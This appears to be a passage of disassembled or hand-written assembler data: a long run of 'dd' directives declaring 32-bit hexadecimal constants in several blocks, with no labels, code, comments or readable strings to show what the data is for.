		dd 11341BE0h, 0E5CEB718h, 8C198FEAh, 847368D3h,	0B7A7993Ah
		dd 0BA2734EEh, 0D265042Eh, 0F36BE168h, 4D6FA1AAh, 0CF968730h
		dd 229B227Eh, 0F07736B4h, 7B1C4967h, 8865B42Dh,	0E780F968h
		dd 0B83AA94Ah, 0FCFEB623h, 6D3B0F10h, 67BB9552h, 277CB4F9h
		dd 53883534h, 0E311F420h, 43C761E5h, 0B1269E62h, 766FD63Ch
		dd 1FE8E5DEh, 701EFB6Dh, 599D6B18h, 0C106791Eh,	7283370Ch
		dd 0A297BA0Fh, 7174F480h, 669BD641h, 0A770316h,	17AC7AFAh
		dd 0F92C05ABh, 0C713F407h, 0F475F966h, 722EE8FAh, 50CB55C7h
		dd 5C660EF1h, 76D7B7A5h, 80B2E929h, 0F98674BEh,	5EAB4FFh
		dd 1143BD0Eh, 46B533AFh, 9671FBE1h, 971C75D3h, 7C3C8D04h
		dd 0ED04241h, 5CBA9DAFh, 6FE3F9E9h, 9EC14327h, 74D08F6Dh
		dd 5CC8E337h, 0DA97AB48h, 55A7F472h, 0DC46197Dh, 7F1865AEh
		dd 6E70F24Dh, 393697F0h, 8919E811h, 0CF586D0Ch,	0FC7D210Ch
		dd 5DF91BAFh, 753E6B03h, 79808EE1h, 82C7BA1Fh, 812E53BFh
		dd 0E4E450C3h, 15CB4ECAh, 0B1B08B50h, 245D1867h, 0CBC6796Fh
		dd 10AF3DB0h, 77AE663Ch, 0E10CA8BDh, 0A01837FFh, 4C5F0F2Eh
		dd 729C15A6h, 0A095FC69h, 5AD3B287h, 770B8F53h,	9919A982h
		dd 37FE1E00h, 1B1E4BEh,	392363C2h, 0CD3F2FD2h, 0FF308729h
		dd 0A349E5D0h, 5FCB69F3h, 1BEBA113h, 56F80730h,	8E1D4DDEh
		dd 0EC710C8Ah, 0A5DBD9F6h, 0AA1C79Bh, 0A27B93AFh, 0EF526AEBh
		dd 98DE9371h, 0DA605309h, 0A1240B6Dh, 78BEC08Dh, 23304C8Bh
		dd 4CE92716h, 0CD69D081h
		dd 25B22CD5h, 0A69A0729h, 7E4B4FE8h, 62D6E186h,	0F5CF30FAh
		dd 7B3654C5h, 0C1EAC6F3h, 0A78338F3h, 1E9CFD32h, 5633F883h
		dd 14F1760Ah, 5A67E4BAh, 449E2DECh, 85B71571h, 6FDD6876h
		dd 4D281364h, 801D8133h, 0A2FE72ECh, 94B97266h,	20607B4Ah
		dd 24016B37h, 4D1DAA11h, 0A1792E56h, 5E6CCD0Ch,	0D39550B2h
		dd 338DD35Eh, 1B982AAEh, 928E9585h, 2181D355h, 6EC9AA59h
		dd 5DF8039Dh, 0FD64617Dh, 8406458Dh, 9DF024DAh,	0F0734088h
		dd 0CB7AE86Ch, 517EB0A9h, 3C60D390h, 5E2A5F2Fh,	0F2A5AAF4h
		dd 9203DB47h, 0B0BDEFE7h, 0F4D60394h, 5D924130h, 9D40593Dh
		dd 0AF003057h, 80A858FDh, 0F2AE0973h, 62B362B4h, 3C805ED4h
		dd 62B72E5Dh, 0FA2175E6h, 7A27AABh, 9685A510h, 45FF1A78h
		dd 8088FA53h, 4131AAB0h, 0DBEE6661h, 55564C68h,	97869D5Ah
		dd 7A17A694h, 1B458351h, 1EC07532h, 0F27CC670h,	0E2EAC5CFh
		dd 1F91D437h, 0F87D34D3h, 0ADF62F7Eh, 9F8BF330h, 804A342Ch
		dd 496891D6h, 58DF51ECh, 0CC19378Fh, 0A290B259h, 0F181F69h
		dd 0AD4EC243h, 0AE22F73Ch, 41FB7B4Ah, 0DB9064E6h, 0F8B4D245h
		dd 2D0ADFD5h, 0E457E017h, 126C3FCDh, 0B59B22F1h, 19DD6750h
		dd 0E7B8E9C7h, 0F048BC57h, 89DA76D9h, 2F580196h, 0A1385D11h
		dd 9E3C1127h, 8AF3519Ah, 65952A86h, 64B8D130h, 0ECD2648Eh
		dd 0D7D03316h, 0EDAD6F33h, 3AEA2914h, 15E03A16h, 69E7C5EEh
		dd 550F5E3Ah, 5C6CE72h,	8347FC7Dh, 93C11FCAh, 7BE057BFh
		dd 4EA32E1Dh, 1E94E050h, 55AEBBE5h, 2691DF9Fh, 4DA5D355h
		dd 7F982608h, 0D743D722h, 0B9D7F742h, 968C4C6h,	8A60B5Eh
		dd 0D9B97463h, 0B08398B7h, 0FCE5F1F8h, 8FCDBABAh, 0C38FB09Fh
		dd 57D430F4h, 0F67DBF74h, 976ED170h, 0F226714Fh, 3CBB27DCh
		dd 16AE8CACh, 0E12A04C5h, 1DB08DC6h, 6DCC1566h,	486D4D0Eh
		dd 97508233h, 507172D4h, 3FDCC99Eh, 15B30B16h, 1E3FF1DDh
		dd 0C69A95DAh, 172C3F4Fh, 0EBE2CA4Ah, 0E9C87D72h, 3DF127CDh
		dd 0FB1345E6h, 651EF902h, 0FBC1D99h, 82148B76h,	7F9486Ah
		dd 0AAC96BE7h, 4D98CC76h, 7CCC47E8h, 0D51091Dh,	6F6162CDh
		dd 7A3B0182h, 0C7042B81h, 96576247h, 81EFFFA7h,	49F42A44h
		dd 95AD6A1Dh, 0BA007264h, 0DE343A22h, 0A647DAF9h, 0C2B500B4h
		dd 0D301FAEFh, 0E7B83DC9h, 0B87CEDCDh, 709B1623h, 0DE93A4FCh
		dd 2C68FA16h, 16732D78h, 0F66347BDh, 0C1BE28E5h, 792F170Ch
		dd 1EACB3E7h, 0D1650D61h, 296445BDh, 9282500h, 0A61965DBh
		dd 0D33D3F82h, 85841392h, 0D3816F3Dh, 0E8289493h, 3BFC6FB6h
		dd 9E053A49h, 0F9D4BBC9h, 9EF2F898h, 36266372h,	4AAF75CCh
		dd 43AB5A4Ah, 0E7D27EE7h, 5A1AFA82h, 8311382Ah,	0A9063B97h
		dd 0F98956E2h, 0B737845Fh, 38481BB0h, 0EE321C1Eh, 724E0A79h
		dd 0DFFA9646h, 3C73AD97h, 556ACBDh, 0AA6219AAh,	2B747739h
		dd 44E05320h, 7B243661h, 54AC5D41h, 0D98DCE20h,	34F14CB5h
		dd 229B12E9h, 0E7BEFE4Fh, 443A7C22h, 94159143h,	4BEAA574h
		dd 6722FDAh, 0B5208AEFh, 0F092A2AEh, 0F9C36B57h, 4EC4C712h
		dd 0E95213E8h, 1E0F51A6h, 0A0E237C8h, 3C33E363h, 455E5252h
		dd 4DCFE189h, 0E05F62BFh, 0D42A1ACDh, 9CF30A5Ch, 0C090F43Eh
		dd 0E990EFFAh, 40FC63EBh, 0C6818BABh, 0FB6E4E76h, 13FC5251h
		dd 15330014h, 0E16E3966h, 903E485Eh, 2D1F301h, 553CA2DAh
		dd 2B345B14h, 0BBDC97FBh, 0B5028C29h, 9D7C7E03h, 7E92D2C6h
		dd 0A6546F82h, 3459D91Bh, 0BAED26F4h, 2F122905h, 4E1FDEE4h
		dd 0C7A436F8h, 1A1D6F29h, 0EE7F975h, 0BB80DA25h, 0BEFB12A9h
		dd 8B153E20h, 2F9984FCh, 0D1D09C64h, 54DB5906h,	544D1410h
		dd 4EDADC41h, 0B9E0B4B8h, 0CF97271Bh, 7F2FEC7Fh, 0E98E0D00h
		dd 4758830Bh, 0A00B6BE7h, 9A456C99h, 3EDF7382h,	764E5D95h
		dd 0A58AD97Dh, 92228EC1h, 89995A96h, 17E703EDh,	56ADEC0Ah
		dd 3E1E78A3h, 4CB0634Fh, 0EAD8D48Bh, 0AC8F8BFCh, 8C3D4C9Ch
		dd 0D28300E9h, 2DF96DC3h, 4F2CBC1Eh, 34BC468Bh,	6DF2E62Dh
		dd 92CEB69Eh, 40AEB43Dh, 7B071F20h, 0BFE9790Eh,	0E327D333h
		dd 44888278h, 4A22C062h, 0A3E6E8A6h, 0C12C4D59h, 8D397621h
		dd 4CE4F2A8h, 0E730774Fh, 0FDE8DB61h, 15B84607h, 0B2ADE0F0h
		dd 95ED39C7h, 0B61B9219h, 397E5F2Ah, 3943595Ch,	0EC0C6FAFh
		dd 9CC1188Fh, 7A7E5B68h, 8357B582h, 960470D3h, 0BE773D99h
		dd 873781A7h, 6F775616h, 0DCB2C674h, 0F853242Eh, 0C9765B78h
		dd 0FA90603h, 27F5C007h, 0F570DB81h, 0FE6CC8DEh, 9143D2C1h
		dd 95A5F143h, 42213461h, 0E2959876h, 4F7AF2E8h,	0C33C7CD7h
		dd 8919DEB4h, 78081573h, 0B35DBB09h, 0AE391D84h, 22E1FC77h
		dd 0FCADDBF7h, 3644E1C1h, 62B20A10h, 514CCED0h,	0A8E2A88Ch
		dd 4B7B101Bh, 0C022084Ch, 89B28A42h, 740C01E4h,	3D0456A4h
		dd 27B8A2E0h, 0C348C092h, 597580B0h, 45D0C0DBh,	30311939h
		dd 520FEDEEh, 0D286EB3Eh, 8F8D6012h, 0A23C5D95h, 9856DA48h
		dd 0C1B68812h, 2B7D3F3Dh, 71E1311h, 0EE598EDAh,	27005F53h
		dd 0D7719086h, 8386C9A6h, 0D4314FACh, 60196149h, 0EE95C1C1h
		dd 0C7A81D28h, 0C80009EBh, 5035DD81h, 1C709F57h, 0CD311B3Dh
		dd 2C6AE82Dh, 0B7851D46h, 9EC8BE8Ah, 554C328Ah,	29CF06ECh
		dd 0F437CD1Ch, 95D092B6h, 0D63F6290h, 7717E366h, 49BA387h
		dd 20B7ECh, 0FA67F067h,	226CAD37h, 0D01E0AA3h, 75B1E294h
		dd 5DCC2E1h, 31170509h,	5313FD5Bh, 0FE3A7E93h, 335F0922h
		dd 0D959B3D5h, 968077BCh, 2DFEA074h, 440F13B1h,	4E36E110h
		dd 2111E7B2h, 0C0F1C354h, 46865ADDh, 86CEE8F9h,	3C3CDE6Bh
		dd 0D966D05Bh, 0A80DAAC4h, 684302B1h, 330E97D7h, 9F2CEFD2h
		dd 98435B5Dh, 0D1FD5836h, 482B1844h, 81095CCAh,	0C6425197h
		dd 18B73A0Bh, 8A73D1FBh, 6AA4B852h, 7E756B31h, 11B88441h
		dd 0D656FECBh, 0E9F3600Bh, 9015472Fh, 96A71227h, 0BC5F4C15h
		dd 7F95079Dh, 17B8F61Eh, 47B3FE93h, 0F09775B2h,	0E9E88329h
		dd 0DD5B6DBBh, 233A32D0h, 0E1A33868h, 0E32829Ah, 34B938EAh
		dd 62C9FE03h, 3141CD96h, 338E9AEDh, 27D8A4F4h, 0FECDD2Dh
		dd 4E448A27h, 0E7EDA63Dh, 0CCA514F5h, 22566665h, 40EC8518h
		dd 0B7B09F67h, 0E0EFAA2Eh, 9CF8E9BDh, 276DCCB5h, 0BBD9A131h
		dd 0FDFAB62h, 0CA069657h, 0CE1C2BC1h, 9EE99CA6h, 1920403h
		dd 77B41883h, 38A71390h, 0EFC544B0h, 5B167DD4h,	975BEA80h
		dd 1AF55649h, 0F015BCE9h, 2DA2ACE3h, 5E57D268h,	45C66999h
		dd 5C939EFCh, 548FD597h, 946E2A78h, 68E18C4Dh, 0B0219BB8h
		dd 0C1847AC2h, 1A7BD501h, 1C6CC85Bh, 2F18C496h,	4A7CEC2Dh
		dd 97C78763h, 57CAE7FCh, 0F66FCB04h, 0BC226BC8h, 0A8EA642h
		dd 0FAADA7F7h, 5BB2C80Eh, 3BBC7D3Fh, 4C42425Bh,	0F411C531h
		dd 5DBFD422h, 35643A8Ch, 9079600h, 86405891h, 95FC8180h
		dd 58F49E1h, 6893590Fh,	528AC5D3h, 37732682h, 0F64FAA36h
		dd 0E22525A5h, 81F0AC9Dh, 0CC752C8Ch, 0BA991DB8h, 43286480h
		dd 2C9A6C81h, 2D4849AEh, 0BE2048FDh, 17438371h,	3E41A9E6h
		dd 561F409Ah, 565F396Dh, 7F681FD7h, 0F70ED582h,	0C93FC171h
		dd 0A440DCEEh, 0E663468Ah, 52F06EDh, 682374EAh,	174A3EC5h
		dd 19825E9h, 0BAC4F0h, 42B436A9h, 0CD1DC7DCh, 2EAD3A81h
		dd 0EE11735Fh, 0C572F37Ah, 8A521510h, 4C2D1A0Ah, 0EF1F6E0Ah
		dd 0AFEE0EE5h, 0BBDF0D00h
		dd 1300F20Ah, 0E2E12926h, 0BDF3FC08h, 308D8DD6h, 8D68387Eh
		dd 0DE2F3DAh, 0E4E87838h, 0F3A70699h, 0DF8520C0h, 1D94B8FCh
		dd 58C519E3h, 1FBEA3B6h, 938C104Fh, 0E7A41D48h,	9F67B7DEh
		dd 896504CEh, 56C7F74Ah, 322CA58Ch, 9ACC5C1Bh, 859095B4h
		dd 7390C12Fh, 0AF250597h, 6A8C8381h, 0D9ACC827h, 9A19BDB0h
		dd 0FB9428D5h, 3CCC1E04h, 0A986A3DAh, 0DA93EE77h, 0C9545695h
		dd 0D5226975h, 0C2721F7Ch, 2650204Ch, 291FCF5h,	5007F7C0h
		dd 848865B4h, 9A842D9Bh, 906C4F7Ch, 2D63E870h, 60A489FEh
		dd 0D8740046h, 57F04C0Bh, 0A072624Eh, 236D965Dh, 0E0322472h
		dd 98DE76AEh, 0B9F1269Ch, 34C347E7h, 386571E8h,	62F519BFh
		dd 0EA914C7h, 13D30FF0h, 260BDD6h, 1CE81F8Dh, 7D732078h
		dd 0D1A7031Eh, 9F2F704h, 1426CCA2h, 798B6AE2h, 79BE72BAh
		dd 0AFB3F403h, 0D39CA85Ch, 0F70313B8h, 0D7342C9Eh, 0FD7B9F4Ch
		dd 0F6E71DC3h, 0A356C650h, 6C43563Eh, 8C9B22C8h, 995BD278h
		dd 0DB1271F1h, 0D15DE62Bh, 25896055h, 7B3078FEh, 22F6D2BFh
		dd 31A6D938h, 39DB9A80h, 85B9EAEBh, 0F9CDD89Ch,	608CDF66h
		dd 4A246BA7h, 8C18E9B8h, 649DE168h, 3D85198Ch, 0B8534A1Ch
		dd 888FEF0Ch, 0C96F58DCh, 8F9B33C7h, 0BD4D86A2h, 563C5496h
		dd 0A0A1140Bh, 7F2913FBh, 12B766C3h, 0F9048212h, 6493AA5Ah
		dd 0E7379358h, 28C4F48Fh, 2799F067h, 770B9450h,	0AC0A968Dh
		dd 5BDE1824h, 0C53A702Ah, 0DD34793Fh, 8D9E716Dh, 8F821ED3h
		dd 0ED8CE734h, 0BC5DF1F8h, 0C8E6F30Ah, 0AA0053D8h, 328FFC15h
		dd 5E5621A6h, 473F696h,	0DC55EB5Ah, 6F036B46h, 233BE56Fh
		dd 0F290D06h, 77D2CDFEh, 0FA8EB45Bh, 0DF90382Ah, 86262C9Eh
		dd 228BC9D0h, 0A23689A5h, 8069CE26h, 0BB2B09DFh, 1E6B7983h
		dd 0F2173C70h, 988890CCh, 0BDAEAE59h, 13ABD621h, 376E6AA7h
		dd 1248C159h, 4E3FB44Bh, 0E36BE318h, 323BEDEDh,	5AEFA161h
		dd 580E7978h, 3F78D8D5h, 0AB3E6A27h, 56AD71F0h,	0D33E1351h
		dd 71C5280Bh, 12D476BAh, 0F681BBD5h, 8B944B4Dh,	0EB2705A9h
		dd 0F8DACB47h, 6D7D0E6h, 0FBDCA75Ch, 496D7EF3h,	0E9D0CB3Ah
		dd 0E13B522Bh, 5E42BECCh, 0B0D31665h, 1053638Ah, 0D6BE97DDh
		dd 6959C16Ch, 38862C25h, 3F207A11h, 932488E4h, 66F5470Fh
		dd 496752E8h, 0D8DF8052h, 499030A3h, 6096DB88h,	0F9B27D45h
		dd 30AC5C2Ah, 0D93C87BBh, 8BC343BBh, 0BD9D1F02h, 405DDF79h
		dd 0F5AE1092h, 0C6505D99h, 64F2522Ah, 0AE416395h, 4167712Bh
		dd 0E4C5D4Eh, 8F5BB9Ah,	864E62DCh, 0B75FFF7Fh, 0FC52193Dh
		dd 5C8E66D5h, 0CC554DFh, 5DC64F36h, 0EB476D4Ch,	425AC85Fh
		dd 0DA0C6DA6h, 8CD2D4F5h, 794BC651h, 63ABC800h,	0E8383318h
		dd 671AF2A7h, 8FF0231Bh, 0ABD2D322h, 526ABD6Dh,	3D6036D4h
		dd 977CC8F0h, 53E275D3h, 2988687Ch, 0DBD80AA7h,	0A7620F45h
		dd 5C4D40DDh, 77164EF5h, 0CEA29903h, 0D0F2621Fh, 22D664A6h
		dd 29A1C701h, 0E26BC0CDh, 4B7EAAC7h, 0B57AFC2h,	5DC711ABh
		dd 0F6B48E71h, 8336BF1Eh, 55EFC59Ah, 94BF00C9h,	0F5DA8178h
		dd 0DA5AFB01h, 0E96E78BEh, 2CAB2Bh, 0ABDBE38Ah,	0B304E8Dh
		dd 24A35055h, 0CD6F808Fh, 0CE99B045h, 0E5F03A99h, 876FC11h
		dd 0E274B345h, 0F6FB86E6h, 64F71E45h, 0EE396C61h, 95502FBCh
		dd 6A49B29Dh, 0DE37F96Bh, 0A9D23E71h, 0B4EEDF83h, 0EDB493C6h
		dd 430FD788h, 0FCF62B2Fh, 741A95A4h, 7774A9CCh,	0C8B290F2h
		dd 1BEDC72h, 0E6CAD33Bh, 0C0507528h, 5AD2E8Ch, 34B60E52h
		dd 343D3448h, 592EBD63h, 2CA3AE35h, 5DDFEA63h, 94CBD562h
		dd 295F5C2Bh, 3B03ED6Ah, 7B7ED90Ch, 7EF910C2h, 0B0C8C116h
		dd 0B2EC2B79h, 92F7480Fh, 1050600h, 413DF45Eh, 0B90FA598h
		dd 4373050Dh, 551F098Ah, 7AA649Bh, 0D8E49A34h, 696D1ADFh
		dd 0EB125FCEh, 2BF80BB6h, 0AD753B26h, 0B9482627h, 5B80DCA3h
		dd 0A724D9B9h, 0B7E1B575h, 0E5E1FF4Bh, 18F37E54h, 0DD45084Ah
		dd 84514AAAh, 2AE06784h, 924617D4h, 0FB857AAAh,	5F5561F0h
		dd 0C681DD5h, 98EF35B7h, 0A8AFE79Eh, 6B456D74h,	0A499DAABh
		dd 0DF611DA9h, 229BBB39h, 4A4A6C2Fh, 0C5BA73EAh, 3A94C6F5h
		dd 23AD7471h, 225666DBh, 23F911F0h, 4B6C0757h, 7083727Dh
		dd 32349EF2h, 6D3390B9h, 0BCB4249Eh, 8E6E5C44h,	0CEFF7396h
		dd 7FADB5BBh, 5F6015C9h, 2B8F193Ah, 0DDDA23B6h,	0C400BF2h
		dd 1B6B4EE7h, 76BDDEBEh, 743F745h, 1A0EE8ABh, 0A0112B63h
		dd 0C1BE4844h, 0AED21513h, 7A83B689h, 19BB3937h, 0BCF80569h
		dd 0B14063EEh, 0F07AB210h, 0B316D236h, 933FBACCh, 57485E17h
		dd 14DE1938h, 0D89DC585h, 54B0747Eh, 0B21DE215h, 5541A976h
		dd 1FEF8FDEh, 592BDDF0h, 0B7440A7Ch, 2E4A611h, 880BB1E2h
		dd 4B0008C5h, 4EC0A854h, 9E698B0Eh, 213C557Ch, 54588D0h
		dd 392A3B95h, 5BB9DE2Fh, 0D1253972h, 88FA70F4h,	26B7CED2h
		dd 0F576757Bh, 0A929C331h, 30411870h, 0CF63E09Fh, 0D5EE8D9Ah
		dd 3CD4E460h, 0EE205B9Ch, 3306E948h, 0B2F6226Bh, 78867AA4h
		dd 4FB46A72h, 11F9DFh, 0B3BF56E6h, 9B190601h, 8ED2F7A5h
		dd 0CB89DC97h, 0DFCF5D2Bh, 0F7125D99h, 0C806A0C3h, 12B2092Eh
		dd 40CF4F37h, 7F814A80h, 0AA308495h, 0E3AC1B48h, 0FEE3E94Dh
		dd 0EC223525h, 60470BE7h, 71704D7Ch, 296AA61Ah,	547F6D06h
		dd 9D6DB542h, 0AC3B6320h, 0FB35972Fh, 6686C7Dh,	0AA32AE4Bh
		dd 0D28C14BEh, 0DC64CB3Eh, 723E043Fh, 0FC140ABCh, 9595FE2Dh
		dd 9D686BC2h, 68D1D136h, 5CCAC09h, 640EB934h, 2000B5Dh
		dd 3A837A03h, 5006A7DCh, 83403E11h, 553562BDh, 0EBCFEF5Ch
		dd 3EAA89F0h, 0F9DAACACh, 3EB68718h, 0BDE188F1h, 67BB2BDAh
		dd 2E24570h, 0C5CB438h,	72D947A4h, 20BD8BAFh, 6CCB80E1h
		dd 804B64A4h, 803A98Ch,	0D911A91Bh, 0C540D981h,	0ED6F002h
		dd 0D13039B5h, 0C68A5202h, 0DC3DD83Ch, 76751AAAh, 0A1D1CB22h
		dd 0B5CAC1h, 0B70069DBh, 60E0067Fh, 0F72B7249h,	0BB2A4AFEh
		dd 5003961Ah, 0DD5DD50Bh, 0DD32CAC7h, 15EF57F6h, 0F46F7F7Ah
		dd 8B1C0308h, 3969A8F2h, 0EADA1E20h, 740EAA39h,	80A44CFBh
		dd 6521F891h, 0C24ACFC9h, 14859B0h, 0F7F996BEh,	0B9FDF4DCh
		dd 5D7AC433h, 0AD29E28Fh, 0A89F9481h, 264DC11Fh, 0E3B7B8BEh
		dd 1D1F1D25h, 1DAAFAFAh, 5451055Eh, 50AB847Bh, 0F446B814h
		dd 0B2B9FDF4h, 4D146970h, 465D57A9h, 521023ACh,	0EEB01CB8h
		dd 344B20EDh, 6E5C77D4h, 0A28C4FCBh, 0FA952718h, 0E6A1E2C0h
		dd 0BADE2C75h, 0D33E1726h, 5A225CEEh, 0CAEAB72Dh, 71E898A0h
		dd 6D01344Ch, 815CB83Ch, 9096CE6Bh, 62E91D2Ah, 0F0C27634h
		dd 6BBB0FE9h, 3F6E033Ch, 70F0B872h, 4566B8FBh, 0C7DC0A2h
		dd 76B6B091h, 14F52706h, 9639EE49h, 9AA10C80h, 3ED819A2h
		dd 1B74F288h, 7C33C1C2h, 0B8A68DF1h, 815FCC82h,	43440286h
		dd 0AD7EBAD7h, 31F76E8Fh, 0BC02F7A2h, 0DE2AB3EDh, 867E381Bh
		dd 0BD84A6E6h, 75B21B0Eh, 0BCBC2025h, 0A79E008Eh, 0B952AB54h
		dd 3C0EEC74h, 0F51B4620h, 2893B483h, 7CC3E43Bh,	0D145BC68h
		dd 0E17D97D8h, 0E1EED4EBh, 0ECD4B620h, 7799F1B8h, 0F6F35D45h
		dd 0B34704Fh, 0F471C8B4h, 0BF45F0F6h, 91BA8B3Ah, 0BA3A5257h
		dd 0DE1B5DA0h, 7F57B396h, 548BC9D4h, 0E4522719h, 0B723412Ah
		dd 9FC10784h, 0DBFE585Ch, 3AA82356h, 78C7978Dh,	671EC7Eh
		dd 0E8FC3AEAh, 3BCE513Bh
		dd 6D4F184h, 4F04D5D8h,	0E99921E4h, 91884B38h, 0F8F61A26h
		dd 335EA9BFh, 6522AE67h, 0ED5AEDEDh, 0A30CB4B5h, 6AA3CD6Eh
		dd 566857E2h, 0A0D01D5Bh, 0E58F9FBBh, 3B49B43Eh, 9A2DEAF6h
		dd 5957EAFAh, 0F77E764Bh, 0DF483E93h, 7818E288h, 74E40450h
		dd 7C490CC2h, 0E514E226h, 0D1282016h, 0FD0404AEh, 1A3D5A2Ah
		dd 8E93CB37h, 441713E0h, 7ABB885Dh, 696F7E2Dh, 4C907C28h
		dd 0D2690BD1h, 7DBCCED6h, 8AD27A7Ah, 1422315Ch,	0B58288ADh
		dd 0B681772Bh, 6D97DF12h, 0D72CF640h, 582EB898h, 3733DA71h
		dd 0B8238398h, 9082592Dh, 0AB4F4525h, 874B3B26h, 827182C3h
		dd 0BD37098h, 587859A5h, 7A13DB3Dh, 641BE39h, 2B787B92h
		dd 1CD5403Bh, 5EAB5969h, 0AA91BE2Bh, 960E427Bh,	3BD83E88h
		dd 0C1EC034h, 840CC60Eh, 35118076h, 8FADF35Eh, 0E514F4A4h
		dd 0EE906AEFh, 0DB7EE4E6h, 30560FC5h, 0AB0A0AC1h, 7628B97Ah
		dd 5E9FEC7Fh, 0A5F01162h, 4D98CC8Eh, 0B0325BE8h, 7F83ADA3h
		dd 0E52A1590h, 0E19B6301h, 979CF54h, 7FEDA8C7h,	8205397Eh
		dd 2802E90Bh, 0AEBD3022h, 3EF315CEh, 0D341C017h, 0F1FF5463h
		dd 0E75D676Dh, 39C12B36h, 1AF5A358h, 2C1DD374h,	3DE75A04h
		dd 5476CA52h, 1BA78C6Ch, 89418D86h, 40B22406h, 0D7A7D59Ch
		dd 0AA4737C4h, 0D0071651h, 8F73EC61h, 8AEFB432h, 0A1167326h
		dd 0A8410772h, 0DAFEB564h, 350ABBA5h, 23A348EAh, 18EC8CAFh
		dd 0C302D5DEh, 0A5584687h, 0FEDE3AEh, 68F6FA77h, 2746E1E9h
		dd 57541A89h, 0D01DF3DCh, 0C3233494h, 8C1837C9h, 6DF6D9CDh
		dd 0F3A33365h, 0F42B3E19h, 8DCCEDC6h, 0C18216EEh, 0E09208D6h
		dd 0D7D09442h, 0BD4742E2h, 0E34E0EE0h, 1CE33006h, 0C2151E1Bh
		dd 93A1BB34h, 2DC196DDh, 0AF9D8BC0h, 1B4E88E4h,	0B261830Eh
		dd 0BDFACB2Bh, 748F208Dh, 1B63798Ch, 0F56AF929h, 0A9B7611Ch
		dd 0E221EB08h, 78E32FC6h, 0D576CE76h, 2DCC948Dh, 6CF63018h
		dd 2B2DC024h, 0AE642E68h, 28BBCEF6h, 0CD0C0D7Dh, 89A6AB31h
		dd 69570B30h, 0E1FC359Eh, 73D76CA4h, 5AF712D3h,	96737B28h
		dd 9C042D57h, 0BC4BA969h, 0B1E43557h, 0DF6A7B23h, 8D7DD1C6h
		dd 8192722Ch, 244E2534h, 0D0EB0D65h, 4ECD6AF2h,	1BE964E8h
		dd 0D7E78C36h, 0ABBC04B2h, 9E480990h, 0FA067073h, 0E70D68D4h
		dd 3DBEE341h, 0C8B73F9Bh, 879C9F58h, 56F1738Dh,	0C0569A0Ch
		dd 0EE196C8Ch, 0FA6C923Bh, 7FC67B2Bh, 28A5A8F3h, 711B4E98h
		dd 6BD05BA6h, 0E9FAEE34h, 0D4E42E0Ah, 6ABC6D0Bh, 0B52C060Ah
		dd 0E8A1CAFAh, 0FF296840h, 0EBC7E68Fh, 9778E606h, 0ABDED393h
		dd 8BD6B378h, 0ACCABA72h, 6B89D9BAh, 61602ABCh,	80844FDDh
		dd 451A3EFEh, 0E11EE20Ch, 0D8879566h, 4B42230Ah, 0EAC558C6h
		dd 55238160h, 0D1D1B165h, 6F43B27Bh, 525313BDh,	829F3AEBh
		dd 0C5D1257Dh, 0C0D8E650h, 7291202Ch, 58D9553Dh, 0E9E0CEBCh
		dd 2EB0DC3Fh, 7D8D88D1h, 0D2E95710h, 6619C1F8h,	6B2C709h
		dd 0BF53CF66h, 22D4F51Fh, 0D222D2E5h, 0E66B6326h, 127C61h
		dd 6E68C784h, 1B5BA65Eh, 3C014166h, 50E49E80h, 0CACB3BFFh
		dd 3719DA8Ch, 0B16D2803h, 88566727h, 5A6291DAh,	0CDD8550Ah
		dd 0AA0DE824h, 5225FC9h, 0F3EF0AD2h, 1638E809h,	1B33D88h
		dd 0C6F80688h, 0F4EC5786h, 0DE38D9D0h, 0C2A764B4h, 0D089444h
		dd 3E72B065h, 523A3C77h, 0C7941DD1h, 0D0C73339h, 5D4FF056h
		dd 0D2BBFC8Dh, 0CC6903C0h, 3CEEE081h, 64B5ECBh,	4271C718h
		dd 4CFB13B2h, 0C4FFE66Ch, 62C15E84h, 88243717h,	5C4FCFE0h
		dd 0C3B9103Eh, 70E5466Fh, 5541AA85h, 0D3D8B5C7h, 59BBAEEFh
		dd 217493A3h, 963C5EC8h, 0DB1816DDh, 0EEB415E7h, 2A1198A9h
		dd 0F4D5B7C2h, 98763885h, 9ABB7D6Eh, 4FFBF84Eh,	0ECD97D54h
		dd 0FE4D136Bh, 0B2BAEE8h, 1E1F6345h, 0E3BCC7DFh, 8DBC811Ch
		dd 5C480B4Ch, 756CE51Ch, 0F31D5CC4h, 35EA782Ch,	6AFE6ADDh
		dd 977EFE40h, 7CDECA71h, 87F15CF5h, 613FA91Eh, 61B12ADEh
		dd 2D784668h, 173739F3h, 9B07981Fh, 364459DFh, 0D27D48E3h
		dd 51B20C3Eh, 15640937h, 0EEE038DFh, 0E4B45B69h, 51E5620Dh
		dd 11BD9FF0h, 10861E74h, 2BB77DFEh, 0B3764048h,	83231FF3h
		dd 0CE043DBCh, 424ECF2Eh, 0F8404138h, 9DFBB6D1h, 89F3A3Fh
		dd 46FDADC2h, 0F8F992EAh, 0E775E155h, 3DDD1DBAh, 6279101Ah
		dd 410AF021h, 8764B503h, 31B769D3h, 0D13D44E1h,	91EFD3F0h
		dd 0CA7F478Ch, 0AFD9177Eh, 0F873D52Ah, 0F0496F4Fh, 1BE9BEFDh
		dd 0C69B675Dh, 0DCABB301h, 9F233C11h, 90A7198Ch, 4EBC2413h
		dd 0E6AA22BCh, 18B2A47Ah, 16F263FCh, 38A988D5h,	0F426CD62h
		dd 141948F9h, 57FEEBB2h, 2B2D9FD2h, 1AA18E45h, 8ECF1323h
		dd 0B60F97C0h, 1F0DAB7Dh, 0CD5098E6h, 68AE2735h, 2821C239h
		dd 0E35BE54Fh, 1C48D8A6h, 0E3D1508Dh, 8147B138h, 5000194Bh
		dd 0FDEE71A0h, 4610ABB8h, 0B41D0FA4h, 0F43F7DF4h, 0C67963C7h
		dd 0E085CA8Bh, 320EC029h, 0CA5085A4h, 0EE6B0CBCh, 9FA017ABh
		dd 0BE9D3D17h, 70FA4F79h, 82A52D09h, 0ABCB6364h, 0DDF1D6A6h
		dd 63EAAD3Ah, 8F5239D7h, 36BDA529h, 0F5047D40h,	0F2A82534h
		dd 16B46C2Ch, 0FE8B5DDEh, 0A0DC372Fh, 700A1486h, 0E56220A8h
		dd 0F512DA9Eh, 34DD2CB0h, 0EE8B6817h, 0B703C637h, 63774964h
		dd 98B4DF8Ah, 435381F0h, 0F2E618E0h, 26A9A5E2h,	65AE4F38h
		dd 0EE1D83DAh, 0A134E65Eh, 0AF3FC617h, 179119E5h, 21D66CCFh
		dd 0DFA2E8A6h, 420A001Ah, 7D1FEE34h, 54C41F5h, 0E471FAF7h
		dd 8C60BD67h, 0F38F8F35h, 10326539h, 0D068FBEh,	0BBD63583h
